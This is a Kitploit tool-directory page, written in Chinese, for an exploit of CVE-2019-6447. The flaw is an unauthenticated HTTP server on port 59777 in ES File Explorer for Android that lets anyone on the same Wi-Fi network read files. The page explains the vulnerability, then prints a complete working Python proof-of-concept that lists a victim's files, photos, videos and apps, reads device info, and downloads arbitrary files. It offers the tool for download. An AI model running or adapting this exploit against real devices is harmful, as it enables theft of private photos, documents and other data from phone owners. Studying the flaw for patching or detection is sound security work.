Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
EsFileExplorer-CVE-2019-6447 — 利用 ES File Explorer 中的 Android 漏洞 | Kitploit
工具/GitHubGitHub/chethine/esfileexplorer-cve-2019-6447
Android安全漏洞分析漏洞利用数据泄露信息收集移动安全
GitHubchethine/esfileexplorer-cve-2019-6447

EsFileExplorer-CVE-2019-6447

利用 ES File Explorer 中的 Android 漏洞

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
31664年前尚未审核

EsFileExplorer-CVE-2019-6447

利用 ES 文件浏览器中的 Android 漏洞

漏洞

ES 文件浏览器由 ES 全球公司创建,该公司是 DO Global 的一部分,总部位于中国。此 ES 文件浏览器仅适用于运行 Android 操作系统的移动设备。目前,ES 文件浏览器的下载总量已超过 1 亿次。该应用是 Android 上著名的文件浏览器,因此备受关注。另一方面,在 2019 年,网络安全研究人员在 ES 文件浏览器 4.1.9.7.4 版本中发现了一个漏洞。能够利用该漏洞的攻击者可以收集存储在 ES 文件浏览器中的所有敏感用户数据,包括照片、视频、语音录音、文档及其他数据类型。

漏洞描述

在 4.1.9.7.4 版本及之前,Android 端的 ES 文件浏览器应用允许远程攻击者通过向 TCP 端口 59777 发送查询,读取本地 Wi-Fi 网络上的任意文件或运行应用。只要 ES 应用启动过一次,该 TCP 端口就会保持开放,并响应通过 HTTP 发送的未经身份验证的 application/json 数据。

受影响版本

4.1.9.7.4 版本

每当用户启动应用时,就会启动一个 HTTP 服务器。该服务器在本地打开端口 59777:
angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop

概念验证(POC)功能

  • 列出受害者设备 sdcard 中的所有文件
  • 列出受害者设备中的所有图片
  • 列出受害者设备中的所有视频
  • 列出受害者设备中的所有音频文件
  • 列出受害者设备中已安装的所有应用
  • 列出受害者设备中已安装的所有系统应用
  • 列出受害者设备中已安装的所有电话应用
  • 列出受害者设备 sdcard 中存储的所有 apk 文件
  • 列出受害者设备中已安装的所有应用
  • 获取受害者设备的设备信息
  • 从受害者设备中拉取文件
  • 启动您选择的应用
  • 获取您选择的应用的图标

载荷

import requests
import json
import ast
import sys

if len(sys.argv) < 3:
    print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
    sys.exit(1)

url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
    print("[-] WRONG COMMAND!")
    print("Available commands : ")
    print("  listFiles         : List all Files.")
    print("  listPics          : List all Pictures.")
    print("  listVideos        : List all videos.")
    print("  listAudios        : List all audios.")
    print("  listApps          : List Applications installed.")
    print("  listAppsSystem    : List System apps.")
    print("  listAppsPhone     : List Communication related apps.")
    print("  listAppsSdcard    : List apps on the SDCard.")
    print("  listAppsAll       : List all Application.")
    print("  getFile           : Download a file.")
    print("  getDeviceInfo     : Get device info.")
    sys.exit(1)

print("\n==================================================================")
print("|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |")
print("|                Coded By : Nehal a.k.a PwnerSec                 |")
print("==================================================================\n")

header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}

def httpPost(cmd):
    data = json.dumps({"command":cmd})
    response = requests.post(url, headers=header, data=data)
    return ast.literal_eval(response.text)

def parse(text, keys):
    for dic in text:
        for key in keys:
            print(f"{key} : {dic[key]}")
        print('')

def do_listing(cmd):
    response = httpPost(cmd)
    if len(response) == 0:
        keys = []
    else:
        keys = list(response[0].keys())
    parse(response, keys)

if cmd in listCmds:
    do_listing(cmd)

elif cmd == cmds[9]:
    if len(sys.argv) != 4:
        print("[+] Include file name to download.")
        sys.exit(1)
    elif sys.argv[3][0] != '/':
        print("[-] You need to provide full path of the file.")
        sys.exit(1)
    else:
        path = sys.argv[3]
        print("[+] Downloading file...")
        response = requests.get(url + path)
        with open('out.dat','wb') as wf:
            wf.write(response.content)
        print("[+] Done. Saved as `out.dat`.")

elif cmd == cmds[10]:
    response = httpPost(cmd)
    keys = list(response.keys())
    for key in keys:
        print(f"{key} : {response[key]}")

演示

Demo

联系我

在 Twitter 上关注我!
在 LinkedIn 上与我联系!
下载工具